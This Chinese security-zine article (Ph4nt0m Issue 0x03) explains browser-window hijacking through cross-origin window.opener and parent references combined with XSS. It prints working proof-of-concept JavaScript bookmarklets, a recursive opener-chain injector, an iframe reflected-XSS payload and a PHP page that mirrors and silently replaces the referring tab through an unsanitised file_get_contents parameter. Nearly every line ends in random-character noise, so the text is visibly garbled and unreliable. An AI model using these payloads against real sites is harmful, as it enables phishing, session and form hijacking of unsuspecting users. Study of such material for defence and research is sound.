==Ph4nt0m Security Team==' h5 b, n' h: p+ {1 E/ L/ a1 U
* t8 J7 j1 i1 M
Issue 0x03, Phile #0x05 of 0x07
2 h) e' X8 G& r6 b 3 L- q' \' X4 _+ E4 u
) b. q e# w, f( L' f: x
|=---------------------------------------------------------------------------=|
* b' s" |, ]! E3 ~" W5 C5 l# G|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|; A3 `8 ^# X* u# V
|=---------------------------------------------------------------------------=|* q) X. ]# U. m" R7 |( y
|=---------------------------------------------------------------------------=|
! I- q4 y: X* s/ Q1 A' ?|=------------------------=[ By rayh4c ]=---------------------------=|
9 s9 m7 x3 X1 I# D1 Y- w# s9 h|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|! T4 {5 J' F4 |0 p
|=---------------------------------------------------------------------------=|
0 j( J0 o1 s- P4 Q _) M+ [' r) M2 P9 F4 V
0 G" z2 \" J F: K[目录]: y1 h1 m1 _% n! Q
' {) X7 `1 q |! H6 T0 F3 F1. 前言! r. g& K ?9 J# Y
2. 同源策略简叙
6 q/ m! p) ~1 {0 t3. 理解window对象的同源策略9 q d7 R2 k' d( }; p& c
4. 窗口引用功能中的同源策略漏洞9 R5 v$ h! W! p& @( b6 G" P
4.1 父窗口引用子窗口的同源策略问题
* M# r4 }6 g* q 4.2 子窗口引用父窗口的同源策略问题6 R2 {( L7 {! W6 {0 f: ]' e n; m
5. 利用窗口引用漏洞劫持浏览器
1 `; T5 P7 ^1 k& B$ R/ z6. 利用XSS漏洞劫持浏览器
: L% x4 F; A4 f1 |' F1 \ 6.1 正向跨窗口劫持
1 Y q. j- S* `% U6 G 6.2 反向跨窗口劫持
! o0 q$ ~6 J P* g 6.3 极度危险的跨框架窗口引用劫持8 Y* U7 u8 j) T" a8 h1 G& g: o
6.4 极度危险的正反向跨窗口递归劫持
1 j1 O+ f4 n/ l3 W B" e9 x+ C 6.5 完全控制浏览器# ]1 |- {7 q$ Q* k
7. 后记9 P2 J. @9 ~' x: O
8. 参考) Q; U4 m' j) [+ H! Z2 b3 d
+ x+ D; A2 a6 D! `- T
0 Z E7 P4 L/ I% F& u8 t一、前言
# a, o5 M$ _6 A6 N# t, N& k# D
2 L6 ^ o8 N6 p7 u8 k 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋$ v! C" { j0 e y& A9 ^, a
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session" c0 i; A! Y( P' J' w( q$ v
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被! W; }" D5 R9 c9 }2 ^
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。* }& r6 N! J0 k0 F3 s5 E8 E
2 B N* C( Q+ ~2 K/ c
; N; [+ t y7 G G% x6 S( z
二、同源策略简叙& @, m, k! t$ \3 h4 q* L, b+ Z
; _6 F g+ ~0 ^7 }, X3 y 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以4 g% X- `3 [! A' G
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都6 ^, Y* M/ g1 A
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
! V# V+ A0 V& {: r& d/ y马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
5 t% I# n- O0 L$ E漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。) M5 t! L( M1 b% f/ ^! P- T
+ m8 }7 r# k, N9 e" r! f9 a$ m/ I9 z6 s. t- ~4 H
三、理解window对象的同源策略# ]* m2 J! t' W M( R4 h3 `
- i+ r, G2 n, a: ?) j- G& H 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
+ e4 j; D$ i% I/ N& K; l/ Z8 Z$ B象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
9 R6 i) m+ j. K7 I8 S7 U4 c! a& `9 r5 y, y
--code-------------------------------------------------------------------------
j- I* X4 J0 ?, [2 [ S( o<script language="javascript">% y" j: ^0 O3 V0 p& `' W+ F3 e
for(p in window) document.write(p+"<br>");, q, G/ w# D( Q' Y& l3 j- ?
</script>
; ?8 z. _& P$ F+ a8 p! q-------------------------------------------------------------------------------
) Z8 Y* J( p9 c4 `
! s4 M4 _( c! I5 z/ d 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
7 e. `8 ]& N g+ \! O1 n法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
1 z& l' M# c* P! v" R4 a这些属性和方法就必须遵循同源策略。! N/ a" _. Z, H
: H/ v |& a9 D- M& [
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
0 X: `4 B5 }- G: ~6 ~* c) |/ u么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
5 S d0 k4 P: d的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
0 L) v% s& o( |* [+ v, p个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
; ~9 L& ]( R5 D值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location& O3 A* c m' o/ U5 h) |- T. S
属性并没有被拒绝访问。
6 e6 @ p) v) o, m1 `9 T( Z) {5 g: O7 O0 A& q. Z& Q, {1 z' T. c
--demo.html--------------------------------------------------------------------. l4 [7 b1 ^' ^% {" G- k8 r
<script language="javascript"> , N8 W7 J9 u- { r9 U" Z' w2 D+ M& v
function allPrpos(obj) { 3 p: O6 w& j+ q7 }
var props = "<table><tr><td>名称</td><td>值</td>";
: ^+ n3 ]4 T: o1 F7 l4 ]2 P for(var p in obj){ 8 K5 j/ ^& F& F5 q" B
if(typeof(obj[p])=="function"){
9 t! \* X3 E6 m6 W' C: o obj[p]();
, n7 Y) e P, k# N( d }else{
R" s9 Z' {1 i try - J/ W9 e4 |4 W" h. S5 l
{ ; P: o* S+ B7 X! [: Z, o5 b; b- I m
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
2 ?8 i$ s% s7 J7 b& u% M } # H3 Y. s# y& D5 \% P( O0 k; K* ?
catch (ex) ; K7 Z4 v" l! b
{
% J$ m' O6 n: \9 |& Q : ^: `' j/ U6 S4 A2 |
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; % i6 h. h5 c) U% J
} ( Z; D$ K! S4 q, u. l
U2 O; S# j4 s3 J/ v
} 9 p7 g8 o/ ]" m8 K$ T+ L
} . u8 _! r( {9 k ?/ ^) w9 X
3 g6 b$ q2 n9 I2 I6 p$ j, Y& w document.write(props+"</table>");
6 \9 {$ R6 X# `! ?}
0 g z/ Y5 d) E, }, j( L& Y! R 5 X h6 G( |: `( ^' y# R8 h' f+ T
function createWin() {, P6 t3 q4 x# z% i: F2 c4 p
newWin = window.open ("http://www.google.com");
( I3 [3 D5 Q' K+ ~$ } setTimeout(function(){allPrpos(newWin)},2000);
+ |- H+ H* v8 p0 @6 _/ [! J; [}
: Z! K9 S. I! m
1 d5 s. e0 \* x T: ]8 i, j( ?</script> 7 A8 m- P7 [4 j
4 ^ @" v3 ~% g, D# M6 n* x
<button onclick='createWin()'>创建一个非同源子窗口测试</button>; |8 k8 r& T8 |0 w+ E. B
-------------------------------------------------------------------------------
4 V+ n( `0 V7 z5 H3 u8 n
# a& h- C4 r$ D/ D8 O
; A3 K2 ?6 U! L' E0 Z& m& [6 ~- @四、窗口引用功能中的同源策略漏洞5 c3 N0 y* }: M0 e5 q/ {
* ^; g. v* p% I% d
4.1 父窗口引用子窗口的同源策略问题' X1 ~: Y- S# A+ W
" h9 e7 W3 ]6 z9 p9 d, z3 i8 M6 c7 f 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,! z, [; }: q, D
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道( N' u M/ m' ?" v% G
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进. T/ i( f" S8 O0 E$ G: a/ ?! u
行测试,会发现父窗口可以控制非同源子窗口location属性值。; t. I w# X/ C# f4 I0 Q
5 C2 ]! R2 Q8 _) ?6 X' m H+ M& e--vul1.html--------------------------------------------------------------------3 j4 D, {$ w; c3 Z3 x
<script language="javascript">
0 m0 b I: f& Q9 nfunction createWin() { + P3 d. u. c$ O& j* v9 \* R5 |
newWin = window.open ("http://www.google.com");
( I$ ~# H, ~% x setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 6 O8 h2 e# {& u0 g/ Z- N2 X4 j
} & @: N1 m2 a2 f R) V: c$ a
</script>
- Q c0 L% M" W" d( q+ s+ L# Y9 | X( }: b# S) ]/ `* {" e
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 Y @. l6 A( \-------------------------------------------------------------------------------' ] {7 W8 e: P: U5 A) R, a* j+ ~/ h
" x/ A3 _8 \* P3 t
( N# N- F$ j3 v2 J
4.2 子窗口引用父窗口的同源策略问题
: B/ O2 \+ Y- i0 F, `, N4 A% I& }5 P: p3 I
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
2 a$ X8 y# G. R. E8 t用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们8 b% }4 T7 i' L) k# p
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
- O0 V, u) P3 p: P$ b1 C! |会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。2 N' e; N% q. J1 ?
; i- a9 p, u0 ^/ }
--code-------------------------------------------------------------------------+ R6 p' l C- ]* t
* |7 v) E' ?' \$ T' i( M* V
javascript:window.opener.location = "http://www.80sec.com";void(0);
; B7 q' O, l4 ?9 z- j; m. K3 C; I
-------------------------------------------------------------------------------! N/ i7 d( `# W2 P+ \
) I0 q/ K( S3 `' b' t+ {3 F$ A- G; j z) ^( j) }
五、利用窗口引用漏洞劫持浏览器& P0 k- k& l1 J+ Z7 `( S
. [# P' N( n8 H& I8 ]8 H. d 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子3 Y2 k- O! F# S3 h6 }
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那2 s4 t, R2 ~2 N' F1 ]) t
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
}3 q9 x: L3 o/ [% ^- @3 k) e5 d. |# a/ K) @
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
- Q+ C+ c6 q1 M: i! y4 P9 w生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
: v& w i k" j" B者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接8 F; s7 l$ w, G3 k4 N, ~! U
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下. b1 g* H7 {& r; O ^, ^3 c
会产生什么可怕的后果。% n2 f1 n9 |" k- B2 ^4 A0 I
5 p1 @* p/ t4 p8 D2 ]/ J3 z) w
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
, C/ n" a7 v* c! m; d们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php! A- d/ e8 I4 j' H g9 p
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时) Z9 P$ [* \( G+ u
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
4 [. d e2 p' q以做更多的事情,所有的一切仅仅是因为点击了一个链接。
% P' T0 k5 ]9 B- L" t
; v+ `- z0 n0 o. K. \--hjk_ref.php------------------------------------------------------------------5 k- w6 |# P; C" o
<?php
" j9 e! {# l5 fif (array_key_exists("HTTP_REFERER", $_SERVER)) {2 C8 @1 `0 J7 F8 v& c5 n: P
$Url_Mirror = $_SERVER["HTTP_REFERER"];
# G# m% m: o# K9 c& h}
/ ?! @( Z( N! q, ~5 r9 _if(isset ($_GET['ref'])) {' k4 D1 J; C) x4 z$ O' C. q
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
2 z0 h! M3 T7 a, d1 w}
7 w, z8 D/ g& K2 ]) L?>
" F1 x" g" {8 \: z+ v2 |" K" d6 D1 q* O1 c% `
<script language="javascript">) y. V! g# ~/ o' P' O7 S
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
0 S+ X6 } U( w6 \</script>
+ r2 W% H L. V7 Z# j-------------------------------------------------------------------------------
0 W. g' B0 A7 l' E D
4 b! x7 w0 R4 D& H0 k 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。# ?" m3 c/ T2 Q) u# _+ M* C
4 |+ ~4 i! o/ P3 C# w9 Q
& t8 X$ b, X/ e8 j% M六、利用XSS漏洞劫持浏览器
" a/ A9 N) i$ h, g/ |; r1 F4 ?! W! @" G1 w
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为& x6 b# ?+ Z9 R: L) U, c
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
& Q4 D: \# s* V0 \- }XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
8 M! ?% a' B) S/ {5 k/ I6 j' {, g讨论跨站师的终极技巧:
/ p0 L- q" r! v4 J1 }
- n% I: ^# r- X) U- Z
R. I$ l# L( ~. s3 X6.1 正向跨窗口劫持9 v/ J8 h |$ |9 y
3 u# c. F/ }% ^+ }, j) a
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛& j* W/ k4 j% m- W s6 m
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链8 d9 d9 ]" S0 j: i$ `
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话5 \0 ?% g* f- |5 B
框脚本。 # X7 d0 Y I$ z$ q
" k: _) g8 l) r--hijack_open.js---------------------------------------------------------------
6 ^# v$ T4 b P4 q) I* e3 z
/ U8 p! v3 b& o2 X1 {javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
4 z5 u O$ x0 ]& O' {4 |
, S! `; J0 [) Z5 V; n* |* q+ E& F-------------------------------------------------------------------------------
8 o9 Z. } V9 Z3 Y+ k
3 |$ A+ g% e5 E' B$ g1 L4 J6 C- o+ F% G: M; [
6.2 反向跨窗口劫持
) O/ P }; m, h/ S
; ^! H% S/ M m @% \ 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代5 ]! @% w4 S+ x; X ?1 c0 O) A
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
|/ b6 G/ k; `% z& x框脚本。% m9 \2 h" F4 B7 g
6 A6 J6 T8 M0 e0 w--hijack_opener.js-------------------------------------------------------------
: A& c: B+ e" E1 `' b% O. l3 |! S3 Q( ]3 e G: r
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
3 t8 ?/ H' }! {+ `5 k* @& \% v/ F* l3 A( i& q2 B) B
-------------------------------------------------------------------------------
) P8 I, c( J$ D8 V7 S8 y1 Q
" |2 m+ g6 {: W5 \: e+ L) W5 F9 t. v. w
6.3 极度危险的跨框架窗口引用劫持$ e+ v; C5 y1 C+ y
9 C- T' T$ {+ k' [7 w' ~
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞6 v7 L! l. F9 f3 {
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就- K6 F: R& Y: Y3 p0 b% Z
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个# V* t0 z) F: A$ ~" J/ c O
非持久型的XSS,如下:
9 O, i! ^: A0 i6 z1 P
. j2 y8 j! q/ l- m8 J<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>1 _6 L+ s0 X" ~- y0 w6 s
4 R2 S. x7 o2 u2 { P: b, V J$ d
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口& Y. K$ Q" n! l! G* d" u
注入脚本。
# h# [4 z% S4 C5 C' |, c" Y8 D# H/ U2 Z3 M
--hijack_frame_opener.js-------------------------------------------------------
$ a* f& W: k" t& A6 ^<script>; R+ F5 J5 a! u/ d7 o0 Q' B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
) F& Y' P6 }6 @3 I8 |7 W3 p</script>, b) b$ o8 f p. Y5 U
-------------------------------------------------------------------------------
4 ^; d* w! Z. @6 R6 e( |( s% q! C5 i" G: H
8 V1 B/ a3 b" H2 x6.4 极度危险的正反向跨窗口递归劫持! A7 g( a( g9 s9 H* n, e% P
2 n# l# T3 r# a! I8 |8 O4 ~% o( w
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
1 L# C1 u2 l4 X4 T, L2 g# |的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
$ `$ Z2 C- j/ u4 M/ s f. h+ |$ G5 O异常处理规避之间跨域页面的访问异常,代码如下:+ J- l' O+ ^9 f5 n; B8 w
. E5 Y" G* r* W/ P! T! e
--code-------------------------------------------------------------------------
* ?: r% B6 W) ^* [ d' T* p. @+ l
) Z& t1 ]5 y+ S2 Bjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);2 l. p7 e1 r) y7 d! T' r: Z
4 L: [) E8 l# F6 } C. A$ ?
-------------------------------------------------------------------------------
' U" R. C: ?& o) k
# c! T* |) m$ k$ q 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可6 ^6 W- W$ m1 e/ ]9 P- _' k" c
以劫持B域之前的A域页面,从而实现“隔空打击”。
$ f: E3 T, ^. R' k- a
( u2 X8 b! P3 M9 L% w 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
4 X) r R$ {2 Z* ?" U2 e执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( L" C- c) Z9 `( @
0 B [7 W$ V; {
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。6 |% I; ]7 w9 Z" t- s
7 T4 ?5 J1 Y. @& U# E# _
+ p" I" p, c5 X
6.5 完全控制浏览器0 p' r' {* f" z' n) J7 b$ W
% ]4 Z2 Z% R m6 N, Z- [7 ^1 b$ p 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
7 K( N* I7 X1 ~* u% w! ]是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
. n+ L) E6 S3 Z2 V漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失6 B% i8 N0 ~" |4 `0 V
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再9 z0 d& M) |* ]: k; X) ]
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站! Y3 [5 \2 b& n1 `! i* A
师的终极目标 - 完全控制浏览器。
0 m' w" O! y9 [: S4 U2 n: b% w' F& Q
- Q1 p1 S6 t: _6 @) B
9 n9 D8 o. D3 n9 U0 A( o) i/ c七、后记
+ [% H6 R. q5 X; h' L/ g" r5 p5 Q1 O8 b, v* g1 I' s& ~
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
" g+ q$ U) P% C. X与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 r/ [4 V* C! y: B3 q+ M. C8 ~过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
' d9 S& ~$ t! z6 i3 F2 v9 Z$ N7 p4 q1 o6 N/ {, R
7 I) O, a$ B! U- w; O/ V( a
八、参考" S9 C( K( B% K2 u) m& ^
- c* d4 Z& N: r0 i+ F
1. http://en.wikipedia.org/wiki/Same_origin_policy
5 ~( n' N4 j! S) ]) d2. http://code.google.com/p/browser ... licy_for_DOM_access
1 C8 V& c' N1 F. H- X3. http://www.w3.org/TR/Window/
7 G- K/ u$ B2 M. w7 Z P I4. http://www.80sec.com/release/browser-hijacking.txt! s4 U5 y o K3 C ^; R7 ^
5. http://www.80sec.com/all-browser-security-alert.html
$ l( _4 Z, v; _% m) ~* t6. http://www.80sec.com/ms08-058-attacks-google.html# I3 r( p/ n& f
3 t2 ] q- i3 Q7 [+ K- K6 f+ G-EOF- |